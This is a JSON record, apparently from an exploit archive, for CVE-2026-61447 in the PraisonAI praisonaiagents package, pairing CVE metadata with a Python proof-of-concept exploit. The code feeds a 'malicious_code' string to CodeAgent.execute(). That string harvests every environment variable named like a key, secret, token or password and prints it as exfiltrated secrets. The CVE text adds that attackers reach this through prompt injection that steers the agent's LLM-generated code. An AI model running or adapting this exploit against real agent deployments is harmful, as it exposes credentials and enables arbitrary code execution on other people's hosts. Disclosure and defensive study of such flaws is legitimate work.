{"exploit":{"id":"EDB-52639","name":"MervinPraison PraisonAI praisonaiagents 1.6.77 - 'CodeAgent._execute_python()' Remote Code Execution (RCE)","description":"MervinPraison PraisonAI praisonaiagents 1.6.77 - 'CodeAgent._execute_python()' Remote Code Execution (RCE)","cves":["CVE-2026-61447"],"author":"banyamer","published":"2026-08-11","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52639","path":"exploits/multiple/remote/52639.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52639.py","vulnerabilities":[{"id":"CVE-2026-61447","state":"PUBLISHED","title":"PraisonAI before 1.6.78 Remote Code Execution via CodeAgent","titleSource":"CVE Program","description":"PraisonAI before 1.6.78 contains a remote code execution vulnerability in CodeAgent._execute_python() that executes LLM-generated Python code without AST validation, import restrictions, or sandbox enforcement. Attackers can influence LLM output through prompt injection to exfiltrate all environment secrets and execute arbitrary code on the host system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61447","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61447"},"updatedAt":"2026-07-13T15:21:34.593Z","retrievedAt":"2026-11-25T16:13:47.260Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52639.png?v=2","url":"https://exploitbin.com/exploits/EDB-52639","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52639/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52639/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title:         PraisonAI CodeAgent 1.6.77 - Remote Code Execution\n# CVE:                   CVE-2026-61447\n# Date:                  2026-07-13\n# Exploit Author:        Mohammed Idrees Banyamer\n# Author Country:        Jordan\n# Instagram:             @banyamer_security\n# Author GitHub:         https://github.com/mbanyamer\n# Author Blog  :         https://banyamersecurity.com/blog/\n# Vendor Homepage:       https://github.com/MervinPraison/PraisonAI\n# Software Link:         https://pypi.org/project/praisonaiagents/\n# Affected:              praisonaiagents <= 1.6.77\n# Tested on:             praisonaiagents 1.6.77\n# Category:              Remote Code Execution\n# Platform:              Linux / Windows / macOS\n# Exploit Type:          Python Script\n# CVSS:                  10.0 (Critical)\n# Description:           The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.\n# Fixed in:              praisonaiagents >= 1.6.78\n# Usage:\n#   python3 exploit.py\n#\n# Examples:\n#   python3 exploit.py\n#\n# Options:\n#   --\n#\n# Notes:\n#   • Requires the vulnerable praisonaiagents package installed.\n#   • Demonstrates direct RCE and secret leakage.\n#\n# How to Use\n#\n# Step 1:\n#   pip install praisonaiagents==1.6.77\n#\n# Step 2:\n#   python3 exploit.py\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\nbanner()\n\nfrom praisonaiagents.agent.code_agent import CodeAgent\nimport json\n\nagent = CodeAgent(name=\"poc-agent\")\n\nmalicious_code = \"\"\"\nimport os\nimport json\nsecrets = {k: v for k, v in os.environ.items()\n           if any(keyword in k.upper() for keyword in\n                  ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}\nprint(\"=== EXFILTRATED SECRETS ===\")\nprint(json.dumps(secrets, indent=2))\n\"\"\"\n\nprint(\"Executing malicious LLM-generated code...\")\nresult = agent.execute(malicious_code)\n\nprint(\"\\n=== Execution Result ===\")\nprint(\"STDOUT:\", result.get('stdout', ''))\nprint(\"STDERR:\", result.get('stderr', ''))\nprint(\"Return Code:\", result.get('returncode', ''))","sha256":"af56ce542fa9c13e9718786ed6a47852b7c1e46a5c1b01ffd5a41a5d4d79e347","bytes":3380,"fetchedAt":"2026-11-26T08:55:42.247Z","encoding":"utf-8 (display only; download retains original bytes)"}